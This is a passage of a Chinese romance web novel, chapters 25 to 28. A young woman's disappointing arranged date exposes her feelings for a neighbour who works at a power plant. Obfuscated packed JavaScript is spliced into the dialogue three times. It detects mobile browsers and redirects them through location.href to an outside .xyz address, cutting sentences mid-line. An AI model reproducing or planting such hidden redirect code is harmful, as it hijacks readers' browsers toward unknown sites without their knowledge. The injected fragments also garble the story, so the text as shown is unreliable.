她又叹了口气,合上电脑,去了洗手间。 镜子里的人表情有些迷惘。她忽然想起一个老套的比喻——她像在十字路口站着,东南西北都有方向,却都不是她想走的那一条。 25. 坏心情 周三傍晚,裴雨下班早了一点。 她把电脑合上时,窗外天色还亮着,阳光透过百叶窗的缝隙斜斜洒在办公室里,像是不小心洒落的温热牛奶,让人觉得天还早、什么都来得及。 但她坐着没动,盯着手机屏幕发呆。 她没有在等什么人主动发来消息,只是习惯性地打开聊天框,滑到那个她最近常点进的名字。 ——宋行舟。 头像变成了那个远景模糊的电厂厂房,灰蒙蒙的,不甚清晰。 她点进去,聊天记录停留在三天前的一张照片。是他路过一家小饭馆拍下来的,菜单上有她喜欢的韭黄炒鸡蛋。 他说:“你不是说一直没吃到这道菜,下次有空来这家试试?” 她那时刚好在开会,回得有点晚,只有简简单单一句:“好啊。” 之后,就没有了。 三天。 他像突然从她的生活里消失了一样。 没有再发新的消息,也没有再提什么“下次吃饭”“下次见面”。 裴雨开始还能说服自己:也许是他工作忙,也许电厂这几天排班紧,也许他没时间看手机。她不止一次听他说过“这个礼拜在换机组”“晚上还得留班”,她能理解那种一整晚都困在厂里、手里抓着对讲机随时要处理突发状况的疲惫。 可日子一长,这种“理解”慢慢变了味。 它开始生出细微的缝隙,一点点裂开,漏进了情绪里。 她开始不安、烦躁,甚至有些小小的失落。 那种感觉像是什么东西正在慢慢降温。她原本以为是火,至少还有光和热,可现在它像是冷掉的炉子,不再冒烟,也不再回应。 她盯着手机屏幕发呆,想发条消息过去。 “你最近很忙吗?” “不见了几天。” “你还好吗?” 无数种说法在脑子里翻来覆去,可她一句都没发出去。 说实话,她甚至想过找个理由——比如问他上次提过的饭馆地址,比如假装想借点工具修灯泡,比如干脆扯点别的闲话。但她最后一个字都没打出来。 她不甘心。 为什么是她主动开口?为什么这段“关系”刚有点苗头,她就又像上赶着贴过去一样?她没那么卑微,也没那么没底线。 她是个挺骄傲的人。 只是那点骄傲在喜欢的人面前,总是摇摇欲坠。 她抱着手机窝在沙发角落,一直到天色暗下来,客厅的光一点点褪去,像慢慢熄灭的心情。 那天晚上,裴雨做了个梦。 梦里她又回到了刚搬来的第一天。 她提着两袋超市的日用品站在宋行舟的门口,他低着头帮她把袋子接过来,侧脸的轮廓沉静温和。她在梦里居然开口问:“你是不是其实也住在这栋楼里?还是,你根本就住在我隔壁?” 他笑了笑,不说话。 然后她就惊醒了。 醒来时天已经亮了。手机放在床头,屏幕暗着,她却不自觉地点开了微信。 没有新消息。 她放下手机,去厨房烧水,泡了杯黑咖啡,坐在小阳台上看着楼下晨跑的人,心里空落落的。 咖啡喝了一半,手机响了一下。 她以为是他,手指下意识一紧,猛地拿起来。 是周昱阳发的。 【ZYY】:你好,周六上午十点,云顶咖啡见? 她盯着那条消息,愣了好几秒。 她几乎都忘了这个人。 之前通过好友后,他们只说了两三句话,对方礼貌有余、热情不足。没有搭话,没有闲聊,像是执行任务一样机械。 现在倒是突然定下了见面时间。 她本来想拒绝,但耳边仿佛响起了她妈那句“张姨好不容易争取来的机会”,还有那句“你要是再拧下去,过年回来别想吃饺子”。 她回了一句:“好。” 然后合上手机,心里像吞了口没调好味的咖啡,苦得发涩。 接下来的两天,宋行舟依旧没什么消息。 裴雨也彻底陷入一种难以言说的状态。她工作照做,早上照常上班、下午开会、晚上整理市场数据,可一整天好像总有一道目光黏在她背后,让她心神不宁。 同事在群里说起最近哪个品牌的投放效果奇差,说文案写得跟十年前的传单一样老套,大家七嘴八舌都在笑。她却只敲了一个“哈哈”,就没了下文。 午休时她也不怎么聊天,窝在工位上刷邮件,明明眼睛盯着屏幕,脑子却总是跳回那条聊天框。 “你是不是以为我昨天只是说说而已。” 他那天说这句话时眼睛是亮的,语气里还带了点笑意,像是调侃又像认真。 可现在想起来—— 也许,还真只是说说而已。 又或者,根本不是说给她听的。 她忽然想,他是不是对每个新租户都这么好?是不是谁需要修水管、拎快递、做饭时顺手多带一份,他都会这样? 她并不是特别需要确认关系的那种人,但这几天的失联像是一种提醒——他们之间,也许只是邻里关系而已。 她低下头,把手机丢进包里。 心里忽然冒出一句话: ——我真是,太蠢了。 那晚临下班前,她去茶水间接水,走到门口时,办公室里正好响起某个同事的手机铃声。 是那种老式的钢琴铃声,不吵,却特别容易吸引注意。 她不自觉停了一下。 不是因为铃声,而是因为心里那种“某人终于会回消息”的期待。 可铃声不是她的。 手机也不是宋行舟的。 她苦笑了一下,接了水回去。 回到工位时,电脑屏幕上的会议提醒正好弹出来—— 【周五下午14:00市场部月度总结会议】 她合上屏幕,忽然意识到: 明天就是周五了。 再往后,就是她不得不赴约去见周昱阳的周六。 她忽然希望,明天能忙得一点空都没有。 忙到她没时间想别人,没时间对着那条空白的聊天框发呆。 周六上午九点五十分,裴雨在咖啡馆门口站了两分钟。 她穿了一件很普通的米色针织衫,下摆塞进高腰牛仔裤里,外面罩着浅驼色风衣。脚上是素面小皮鞋,鞋跟不高不低,刚刚好看起来得体又不算特别上心。 她选这套衣服时花了点时间,但最终还是克制住了精致过头的打扮冲动,提醒自己:不是去约会,是相亲。 是见个由长辈牵线搭桥、未必有未来的陌生男人。她不能穿得太随意,但也没必要精心到让自己像在面试一样局促。 她提前到了,却并没有进店。 这是一家连锁精品咖啡馆,装修走的是北欧简约风,白墙木桌,大落地窗将早春的阳光毫不吝啬地洒满了屋子。窗边已经坐了一些情侣,有的低头聊天,有的对着电脑翻日程。她站在外面时就已经看见了好几个带花的纸袋和礼盒,被放在座位边上或桌角,像是例行程序里的道具。 九点五十二分,一个身影朝她走过来。 “裴小姐?” 她抬头。 眼前这人,比照片里看起来好看不少——干净的五官,西装剪裁得体,短发修得利落,身高看着起码一米八,整体气质成熟稳重。 “你好,我是周昱阳。” 他微笑着伸出手。 她也礼貌地点头,伸手和他握了下。 “你好。” 两人相对走进咖啡馆,坐到了靠窗的一张双人桌边。座位之间隔着一株长得极好的绿植,隐约有种“私密但不逼仄”的距离感。 点单时,周昱阳问:“你喝美式还是拿铁?” 裴雨抿了下唇,说:“拿铁吧。” “甜点呢?” “不要了,谢谢。” 他笑笑没再多问,又点了一杯黑咖和一份布朗尼。 “我早餐没吃。”他说,“抱歉,不太讲究。” “没事。”她微微一笑。 对话在开始时是客气的,有种熟练的分寸感,就像两位初次会面的商务人士,只不过地点不是会议室,而是咖啡馆。 等咖啡端上来之后,两人才慢慢进入主题。 “你是做市场相关的?” “嗯,外企市场部,偏品牌这块。” “那会不会经常加班?” “看项目吧,月初和月底一般比较忙。平时还能接受。” 周昱阳点点头,“我在投行,可能节奏更快一些。” “能想象。” “你是兰州人吧?” “对。”裴雨笑笑,“我妈说你也是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773671|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,不过我来上海比较久了。大学、研究生都在这边,毕业后留了下来,现在算是稳定定居。” “那挺好。” “你也准备留在上海?” “……应该是。”她顿了顿,“虽然我妈还在希望我回去,但我暂时没有打算。” “她不喜欢你一个人在这边?” “她不喜欢我‘还没结婚’。”裴雨耸耸肩,语气不咸不淡,“你大概能理解。” 周昱阳轻笑了一声:“能。我们这一代人可能都逃不过这一关。” 这时候的对话是顺畅的。 两个人都不拧巴,知道该聊什么、怎么聊,什么能问、什么不能问,像是在一本厚重的《相亲交流指南》里熟练翻页。 “你是独生子女?”他问。 “不是,我有个姐姐,已婚。” “那你压力应该小一点。” “是吗?”裴雨笑得有点意味深长,“她结婚生孩子之后,家里所有对‘下一位’的期待就自动转移了。” “我懂。” “你是独生?” “对。” “那你爸妈……会希望你留在上海吗?” “其实还好。工作第一吧,婚姻他们也不会太干预。” “听起来不错。” 短暂的沉默后,周昱阳又问:“那你现在的公司,打算长期待下去?” “还没定。”她指尖绕着咖啡杯,“我在想要不要换去更偏策略方向的岗位。品牌虽然稳定,但平台受限。” “你是那种对职业规划很有要求的人?” “算是吧,我不太能接受没有进展的状态。” “难怪你状态很好。”他说,“其实我这次见你,有点超出预期。” “嗯?” “我原本以为相亲是件挺沉闷的事,没想到你比我想象中坦率很多。” “可能是因为我们都太习惯这一套流程了。” “你不喜欢?” “不是不喜欢。”她说,“只是……我不确定这是不是我想要的方式。” 周昱阳没急着接话,低头喝了一口咖啡,才又抬眼看她。 “那你想要的方式是什么?” 裴雨一愣。 她不知道该怎么回答。 她想说她想要的是那种不靠长辈牵线,不靠职业和户籍匹配度来衡量是否合适的感情。哪怕一开始是偶然,是不按常理出牌的混乱,可只要对方看她一眼,她就知道自己可以动心。 但她什么都没说。 只是轻轻地笑了笑:“我现在也说不清。” 那一刻,阳光透过窗户洒在她侧脸上,咖啡杯里还有淡淡热气,整个人看起来安静得几乎不像来相亲的,而像是路过此地、偶尔停下来喘口气的旅人。 接下来,聊天内容又转回现实。 关于薪酬范围——裴雨并没有细讲,只是模糊说了个区间;周昱阳也很职业地报了个数字,并不让人反感,但也称不上谦逊。 关于房子——周昱阳买在徐汇边缘,贷款已还了一半,准备两年内结清。没明说等的是结婚后两人一起承担,但潜台词也不难猜。 关于父母——双方健康、通情达理、希望儿女安定,但不会过多干涉。 一切都在“合适”的范围内,没有雷区,没有情绪,没有意外。 她一边听,一边点头回应,但心里却像被玻璃罩罩住,隔着一层声音、空气、温度,听得见,看得见,却始终参与不进去。 她忽然意识到一件事: 周昱阳是个几乎“完美”的相亲对象。他有稳定职业、清晰规划、家境尚可,甚至连沟通能力都很好。 可她并不高兴。 她没有心跳加速,也没有想去深入了解他的冲动。 就像此刻手边的那杯拿铁——温度合适,比例标准,味道无功无过。 但没有灵魂。 这场见面仍在继续。 她嘴角带笑,语气不冷不热,像每一个职业女性在商务谈判时那样冷静自持。 但她心里很清楚—— 她现在做的,只是完成一个“程序”。 她妈要她“务必认真对待、必须见一面”。 她正在见,一板一眼,很配合地见着。 而她心里最真实的那个部分,正安安静静地往后缩着,像躲在某扇不肯开启的门后。 26. 不过是工人 可能是对裴雨的好感比较高,周昱阳开始讲起来他对市场这方面的认知和经验。 “我对市场的兴趣,其实是从研究生实习开始的。”周昱阳说,“那时候我在一家咨询公司,最早跟的是一个快消客户,后来转向金融项目。刚开始我对品牌策略这块没什么概念,后来接触多了,才慢慢明白——有时候,一个产品行不行,不是看它本身做得多好,而是你讲的那个故事有没有打动人。” 他讲得很自然,语气不紧不慢,像已经习惯了这种被人倾听的节奏。他的表情不算热情,但稳定,像被雕琢得刚刚好的木雕,线条清晰,每一处都恰到好处。 裴雨轻轻点头,目光却有些飘。 她坐在靠窗的位置,窗户外是一条不算繁忙的小街。早春的阳光很好,照得人眼有些花,行人不多,偶尔有骑电动车的大叔路过,车尾架着鼓鼓的外卖袋子,一晃而过。 她原本只是习惯性地望了一眼,却在那个瞬间,忽然怔住了。 一个穿着灰蓝色工装的人,站在街角的小摊前,正低头接老板递过来的塑料袋,手指修长,袖口往上挽了一点,露出一截干净结实的手腕。 他站得略微侧着,背对咖啡馆,头发乱了点,像刚从工地上下来,肩膀背着斜挎包,一手拿煎饼,一手还跟老板道谢,动作慢悠悠的,很像他一贯的节奏。 是宋行舟。 那一瞬,裴雨几乎怀疑自己是不是眼花了。 但再眨眼确认——真的是他。 她心里“咯噔”了一下。 不是因为惊喜,而是因为一种突然被抓包似的慌张——她甚至不清楚这慌张是从哪儿来的。 是因为他看起来太随意,和此刻的自己、这场精心安排的见面完全不属于一个世界? 还是……她根本不想在这种时候,在另一个男人面前看到他? “怎么了?”周昱阳察觉到她的注意力飘远,顺着她的视线看出去。 他的目光落在宋行舟身上,愣了一下,随即语气不重却带着一点莫名其妙的挑剔:“你朋友?” 裴雨回过神,收回目光,“嗯?哦……不是。” “那……是工人?” 这一句带着点笑意,也不是刻意的,但说出来的语调太熟练了,仿佛“工人”两个字就是默认的某种等级定义,套在那个穿工装、在街边买煎饼的人身上,就天然属于“你不该认识”的范畴。 他没表现得傲慢,但裴雨就是听懂了。 她脑子里那一秒突然“轰”的一声响。 她没回答。 只是把杯子拿起来,低头抿了一口拿铁,苦味从舌根一点点漫开,压住心口那团突然冒出来的情绪。 她心里有点烦。 烦这个问题本身,烦对方那种不动声色的优越感,更烦自己的反应。 她其实可以简单地说一句“朋友”,也可以敷衍一句“刚巧看到”。可不知为什么,那一刻,她偏偏什么都不想解释。 解释什么? 她不想在这张桌子前,用任何语言去描绘宋行舟——不想让他成为被别人评判、拿来定义的对象。 即便她和他现在什么都不是,即便他们之间没有承诺,没有标签,甚至已经好几天没说过话。 她仍然不想让任何人带着俯视的语气提起他。 “我只是觉得挺眼熟的。”周昱阳说,“可能前几天在小区门口工地旁见过。” “……可能吧。”裴雨淡淡地说。 “其实现在工人收入也挺高的,尤其那些技术工种。”周昱阳像是察觉到了裴雨一瞬间的沉默,语气不动声色地补了一句。他的声音依旧平稳,像是只是在客观陈述某种趋势,没有太多情绪掺杂其中。 裴雨垂着眼,轻轻地转了下手边的咖啡勺,脑子却有些乱。 这本是一句听起来无害的句子,但不知怎的,她心里就是“咯噔”了一下。 “你怎么知道他是工人?”她没想太多,几乎是下意识地问了一句。 话一出口,她自己都愣了一下。 她明明已经想避免这个话题了。 周昱阳显然也没想到她会反问,眉毛微微挑了一下,“我不是说他就是,我只是——看他穿工装,在街边买早点,又背着那种帆布包,不像办公室里的人嘛。” “可现在很多行业都不讲究那些了,工装也有可能是公司统一发的制服。他背的包也很普通,有什么问题吗?”裴雨抬眼,语气平静,却带着一种很轻的、不容忽视的反驳。 “不是问题。”周昱阳皱了下眉,“我就是随口说一句,你怎么这么认真?” “我只是觉得,你说话……有点主观。”她顿了顿,“而且有点武断。” 她不是为了争辩。只是,心里那点不舒服感太强烈了,她压不住。 “我主观?”周昱阳挑眉,轻轻笑了声,像是不太能理解她的执拗,“那你说说看,他是什么背景?工作单位、学历你了解吗?” 裴雨被问得一时语塞。 她当然了解……但也不算完全了解。 她只知道他在电厂做运行相关的工作,会看图纸,也去现场管理,有时通宵加班处理材料;知道他会抽烟,但不多;知道他下雨天也会在厂子里守着,不愿意丢下别人先走。可她真的不知道他学历是哪儿毕业,也不知道他到底在哪个电厂里做什么具体职位,具体做的是哪个项目。 但这些信息——她从没觉得有必要去确认清楚。 她从未用一个标准化的简历来评估他。 她更不知道,为什么周昱阳好像非得把一个人放进某个格子里,学历、单位、收入、出身,一项项评估,然后才能判断“值不值得认识”或者“值不值得尊重”。 “他能去当工人,估计学历也没多高吧。”周昱阳轻轻一笑,继续说下去,“现在技术工种确实吃香,但说到底也就是靠体力赚的,做几年就得换岗,不然身体扛不住。说不定就是个二本大学,或者更低。” 裴雨的脸色顿了一下,终于有些冷了。 她没有立即接话。 只觉得胸口像堵了一口气,不上不下,说不出话来,嗓子也有些发紧。 她不是要为宋行舟的学历争什么——她甚至觉得这完全不是重点。 而是她从没想到,有人可以用这么轻松的口气,替一个他根本不认识的人下判断,仅仅因为那个人的穿着、站姿、以及出现在街边的方式。 就像把一副素描只看了一个拐角,就认定它不值钱。 “你是不是觉得,只有研究生、投行、年薪百万的人才值得坐在这儿谈?”她忽然开口,语调轻,却有些冷。 周昱阳似乎没料到她会说得这么直白,怔了一下,笑了笑,“我不是那个意思,我只是现实。你应该也知道,我们这个年纪谈恋爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778248|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,已经不是简单‘看感觉’了吧?” “是啊。”裴雨笑了一下,低头喝了一口咖啡。 嘴角勾着,可心底却凉了一截。 她忽然有点理解,为什么刚才看到宋行舟站在街边的时候,心里会升起一股复杂到说不清的情绪。 不是因为喜欢,不是因为惊喜,也不是因为愧疚。 而是因为,她忽然意识到,她在面对一个从不需要解释自己的人时,有多轻松。而坐在眼前这个再“体面”、“优秀”、“合适”不过的人面前,她却连一丁点情绪都要思考再三才能表达。 这场饭局还没结束,她却已经疲惫了。 周昱阳显然还没意识到什么,“我不是不尊重别人,我只是觉得,人生是有路径选择的。能上更好的学校、进更大的公司、挣更多的钱,谁不想?” “所以呢?”裴雨轻声问。 “所以,我们都该努力跟‘同类’在一起。”他说得理所当然。 裴雨沉默了。 她忽然觉得这句话很可怕。 它不是逻辑上的错误,而是情感上的冷漠。 一旦你认定了只有同类才值得相处,那不属于“同类”的人就连被理解的权利都没有了。 她忽然很想回到那个街角。 去问宋行舟,你那煎饼果子加了什么?葱多吗?辣酱放够了吗? 哪怕只是说上一句废话,她都觉得比坐在这张桌子前舒坦。 裴雨抬眼看着他。 她忽然意识到,这个人并不坏,也不愚蠢。他有理性、有礼貌、懂分寸,是所有父母都会一眼满意的对象。可他就是……太“标准”了。 标准到每一句话背后都能对得上“社会评价体系”的高分答案。 可她不知道为什么,心里却越来越不舒服。 仿佛他刚才那句“是工人?”像一根轻描淡写的针,扎在了她某个说不出名字的地方。没出血,也不疼,但她就是整个人都一下不自在了。 “你还想喝点什么?”他问她。 “不了。”她摇头。 “那……”他看了一下表,“我们要不要换个地方?这边快中午人也多了,可以找个地方吃午饭。” “我等下有点事。”她低头整理了一下手边的手机,“可能得先走。” “哦。”他顿了顿,“那我送你?” “不用。”她笑了笑,语气温和,“你吃完再走吧。” 周昱阳没再坚持,只是点点头,“好。那你路上注意点。” 她起身,拿包,拉椅子的动作都轻得像在逃。 等走出咖啡馆,推门时她又忍不住回头看了一眼。 宋行舟已经不在那里了。 那个站在街边等煎饼的身影像是刚刚突然闯进了她的眼里,又迅速地从她视野里抽走了。 她站在阳光里,手指紧紧握着手机。 那个电话、那条微信、那场她根本不愿意来的见面……一切都让她觉得自己像坐上了一条错的轨道,往一个她根本不想去的方向加速奔去。 她想发消息。 想问一句:“你刚才是不是在XXX路口?” 想问:“这几天你怎么不理我?” 想说:“我在相亲。” 但最终,她只是把手机又塞回了包里。 她不甘心。 也不想在这一刻,低头。 27. 忍不住 裴雨从咖啡馆出来的时候,天还是通亮的,太阳高高挂在半空中,却没带来什么太多的温度。 魔都四月的风还是带着点凉意,她站在门口愣了几秒,没有立刻招手叫车,也没有掏出手机打个快车,而是转身朝一条行人稀少的小路走去。 她的衣摆被风吹得微微卷起。脚下踩着一双有点跟的短靴,走在青灰色的路面上,鞋跟发出规律的声音,一下一下敲在她心口上。 她其实很少这样走路。 平时要么骑车、要么地铁,再不然就是快车,能节省的时间她从不浪费。可现在她就是不想回家,不想结束今天,也不想立刻面对自己的屋子、沙发、以及那个安静到令人心烦的客厅。 周昱阳的脸还在脑子里晃。 不,是他的语气。 那种不动声色的评判,那种天然高位俯瞰式的、仿佛所有人都该被归类和排序的语气。她努力回想他有没有意识到自己说了什么,似乎没有。他说得那么自然,像呼吸一样顺畅。甚至在她起身告辞的时候,还客气地站起来,嘴角带着一点惯常社交场合里的笑容,说:“路上小心,回头聊。” 聊什么?她心里冷笑一声。 他大概永远也不会知道,裴雨离开的时候那种“逃出来了”的轻松。 风吹着她的头发,她也懒得整理,干脆一只手插进风衣口袋,低着头走。 她不急。 她特意绕远了,从徐家汇那边的小巷子穿过去,经过一排小书店、旧咖啡馆,还从便利店门口买了一瓶柠檬气泡水,拧开,喝了一口,又皱了下眉——太酸。 她刚刚明明看到宋行舟了。 那一瞬间,她的心跳确实是漏了一拍的。就像走进一家陌生店铺,意外撞见熟悉的人。 他还是那副老样子,工装拉链拉到一半,下面是洗得略褪色的牛仔裤,背着一个她见过很多次的帆布包,斜挎着,包的边角已经卷起来了,显然用了很久。他站在摊子前低头点单的样子特别专注,好像眼前这点肩膀和葱花就是整条街最重要的事。 她当时甚至脑子一片空白,只顾着看他,连手边的咖啡都差点洒出来。 然后——她没有主动在微信上跟他说话,也没有跟周昱阳承认她认识他。 她只是迅速低下头,假装在看微信,像个心虚的逃兵,眼神飘忽、心跳飞快,却又在下一秒努力装得若无其事。 她承认,她有点……赌气。 不,他又没做错什么,她生什么气呢? 可她就是不想主动发消息。就是不想。 他这几天没找她,她心里是有些难受的。虽然嘴上不说,可那种感觉一天比一天明显,就像泡了一整晚的茶,颜色越发浓郁,苦味也越发清晰。她每天盯着手机屏幕,明明知道他不可能突然蹦出一条消息,却还是频繁的点开微信,又默默退出。 她知道自己不应该这样。 她也不是没想过,发一句“你最近忙吗”或者“今天又去上班了吗”之类的,看起来关心又不过分,能自圆其说的句子她能想出十几条。 但她一条也没发。 因为不甘心。 是的,就是不甘心。 她不想自己先低头。 因为她不是那种会主动黏人的人——她一直都以为自己不是。 可她又想见他。 不是那种一定要马上看到、马上说话的想念,而是一种隐隐约约的、潜伏在心里的情绪,像夜晚窗帘缝里透进来的一点微光,弱得你以为可以忽略,但它一直在那里,从不曾真正熄灭。 她一边走,一边喝着快没气的气泡水,走到一条老马路边时停了下来。 那里有个小区,是九十年代的砖红色老楼。她记得之前和宋行舟并肩路过那儿,他随口说过一句:“这种楼抗震不错,我们以前单位宿舍跟这结构差不多。” 她当时笑着问:“你们单位还有宿舍?” 他“嗯”了一声,说:“老早就没有了,以前是我爸妈那辈的。” 她当时还开玩笑:“那你家也住这种?你别住现在和我同小区的高层了,住这种多好?” 宋行舟也笑,说:“回不去了。” 她回头看了他一眼,他没解释,只是走得更快了一点。 她不知道他为什么说“回不去了”。也没追问。 现在想想,那个“回不去”的背后,可能藏了太多她不知道的东西。 他没有解释,她也没有问。 可此刻站在原地的她,忽然觉得有些后悔。 因为她没问的那些,可能才是他们之间始终隔着的一条路。 风又吹过来,带着点街边煎饼摊的香味,还有某户居民家里炖汤的味道。 她低头看了眼手机,屏幕亮着,没有未读消息。 她本来想点开宋行舟的头像,哪怕发个“你吃完了吗”,又或者干脆问一句“刚刚在春溪路看到你了,是你吗?” 但最终,她把手机塞回了风衣口袋里。 不发。 她告诉自己:我就是不想改。 但裴雨没想到自己会这么刚刚好地,在这个时间点、在小区门口,遇见宋行舟。 她当时还站在便利店门口犹豫要不要买瓶矿泉水,拿着手机装模作样地翻着通讯录,实际上什么也没在看,只是借这个动作遮掩自己走了一路的茫然失落。 直到抬头的那一瞬—— 一抹熟悉的身影从小区门口走出来,手里拎着个垃圾袋,走路有点快。垃圾袋有点重,他微微偏着身子,右手手臂略显用力,眉头皱着。 是宋行舟。 他也是一瞬间看见她的。 裴雨不知道他有没有愣住,反正她自己是愣住了。 脑子里先是“嘭”地炸开一片空白,然后各种情绪翻涌而上:惊讶、尴尬、愤怒、委屈,还有那一点点明知没道理却止不住的——难堪。 她甚至来不及把头扭开,也来不及装作没看到。 宋行舟已经抬了手。 “哟。”他的语气和平常一样自然,甚至有点好听的松弛感,“你回来啦。” “……”裴雨张了张嘴,什么也没说。 她有点恼,恼自己竟然在看到他的那一刻先是心头一热,然后立刻又涨起一肚子火气。 他怎么就能这么自然地跟她打招呼啊?! 几天不回消息,几天不联系,就跟人间蒸发了一样。然后今天她在相亲时无意撞见他,他却毫无察觉,还在自顾自地点煎饼;她一路闷着火气往回走,试图用理智给自己做心理建设,结果还没上楼呢,就被他扔垃圾的时机卡了个正着。 真是绝了。 “还挺巧。”她嘴角勾了勾,语气带着点意味不明的调子,“宋老师的垃圾倒得很及时啊,连这个点都这么……精准。” 她笑了笑,不大,淡淡的,尾音略略有点挑。 宋行舟站定,眼神在她脸上转了一圈,好像在试图确认她是不是在生气。 他没接她的调侃,只是抬了抬手里的垃圾袋,“嗯,正好下楼。你吃饭了吗?” 又是这种关心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786594|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她其实早就该适应了,宋行舟就是这种人,说话从来不走心眼,一张嘴都是日常的寒暄,却又因为太自然,常常让人无从分辨他到底是真关心,还只是客套顺嘴。 “吃啦。”她顿了顿,眼神往他手里的垃圾袋扫了一眼,嘴角微微一撇,“你倒是忙,忙得不见人影。” 语气还是很轻,可每个字像是绕了个弯子,带着点微不可闻的敲打。 宋行舟没说话。 两人就站在小区门口,小区的老路灯有点昏黄,晕着一圈不甚清晰的橘光。他穿着件旧T恤,袖口卷了半截,胳膊上还有点灰,显然不是刚洗过澡那种干净利索的状态。 她忽然想起来,从认识他那天起,他似乎就一直是这种状态——不怎么讲究外在,不修边幅,却又有一种说不出的稳妥。 她不想承认自己喜欢这种“稳妥”。 “工作太忙?”她又问了一句,故意的,语气挑着,像在审人,“还是……最近有别的什么更重要的事?” 宋行舟这下是真的看了她一眼。 那眼神里像是有一点点惊讶,但更多的是耐心。他没立刻回话,转头先把手里的垃圾袋丢进了小区门口的分类桶,然后才慢慢走回来。 他站在她一米远的位置,没有靠得很近,像是在拿捏着分寸。 “最近是有点忙,”他说,“电厂上那边有事,我还在跑几个新标。” 他顿了顿,又低声补了一句:“不是有意不发你消息的。” 不是有意。 她心里其实早就知道不是有意。 可人就是这么奇怪——知道归知道,听到别人亲口承认,还是有点……说不出的酸涩。 “哦。”她轻描淡写地答了句,“我还以为你是不是又换手机了。” 宋行舟低笑了一下,没辩解,也没继续解释。 那一笑像是风拂过她心口,她原本想攥着的那点脾气差点又泄了气,可她还是抬着下巴,咽了口气,继续不动声色地站着。 “那你忙完了吗?”她又问。 “嗯,今天收得早。”他说。 她点了点头,然后忽然说:“巧得很,我今天也早。” 说完,她就不说话了。 气氛有那么一点凝滞,又有一点微妙的僵持。 她看他没接话,就绕开他往楼里走。宋行舟愣了下,像是想说什么,但最终只是沉默着,和她一起进了单元门。 门口没人。 两人并肩站着,她没主动看他,也没说话。 裴雨轻轻哼了一声。 “还记得我住几楼啊?”她眼神没动,语气却半真半假地揶揄,“我以为你忙到连这些都忘了。” 宋行舟偏头看她一眼,依旧没辩解。 她咬着唇,忽然有点烦。 烦他这副“随你怎么说”的态度。 也烦自己这点小情绪怎么就压不住了。 狭小的空间里充斥着一种微妙的安静。 直到两人一起走到大门前,她抬脚走到家门口,把钥匙插进锁孔前顿了一下,回头冲他扬了扬眉:“行啦,不耽误你了,去忙你的吧。” 说完,她转身开门,动作快得像是怕他反悔。 宋行舟站在她背后,沉默地看着她进门、关门,没有追问,也没有挽留。 裴雨靠着门板站了一会儿,手指还攥着钥匙,指节有点白。 她知道自己这样很幼稚。 可她也知道,她不是为了让他“看懂”才这样,她只是……忍不住。 28. 但他说的没错啊 裴雨一进屋就把包甩在玄关柜子上,换鞋的动作带着点恼火的用力。门啪地一声关上,整个屋子顿时安静下来,仿佛刚才小区门口那一幕没发生过似的。 她站在门口愣了几秒,深吸一口气,拎起包走进客厅,一屁股坐在沙发上,手机丢在一边。 沙发太软,她整个人陷进去,靠着靠背,仰头望着天花板——那片她太熟悉不过的白。 情绪像水一样缓慢升高,又闷着头往心口涌。 其实从她进电梯那一刻开始,心里那点别扭就已经快要压不住了。但她还想着“要稳住”“不能先示弱”“没道理的是他”。她在意那几天的冷淡,在意他没有主动联系她,在意他在煎饼摊前像个什么事都没发生的人,而她在相亲桌前听人问她年收入和生育规划的时候,心里恨不得逃出去。 可这些她都没法说。 她说不出口自己在意。 更说不出口那种“我好像喜欢你,可是你好像不在乎”的憋屈。 她越想越烦。 手机就在旁边躺着,屏幕黑着。她伸手拿起来翻了翻聊天记录——宋行舟还是没发消息。 她忍了好几天,今天才终于见着人,结果对方还是一副波澜不惊的样子。 而她就坐在咖啡馆里,宋行舟则被人一句话带过“那是你朋友?”、“工人?”然后还听到“可能就是个二本吧”,那种时候她明明下意识想替他反驳的,可到最后却像是自己先被刺痛了。 她不是不懂宋行舟,他永远是一副不紧不慢的样子,说话总是慢半拍,温吞得好像世界上所有事都不值得他急——可她现在,偏偏就不想做那个自己一个人生闷气、一个人心潮汹涌的人了。 她想让他知道她的心情。 想让他也有点情绪波动。 于是她抓过手机,手指在屏幕上犹豫了几秒,最后敲出一行字—— 【我今天去相亲了】 她盯着这几个字看了又看,没有加标点,也没有多余的解释。光是这样一条消息,已经足够让她心跳加快。 犹豫了半秒,还是点了发送。 消息发出去的下一秒,她就开始后悔,恨不得撤回。但手指悬在屏幕上,一动没动。 结果那条消息刚发出去不到十秒,电话就打了进来。 是宋行舟。 她盯着屏幕上那个熟悉的名字跳动着,一时不知道该不该接。 铃声响了三下,她还是按了接听。 “喂?” 她故意让声音听起来没什么波澜。 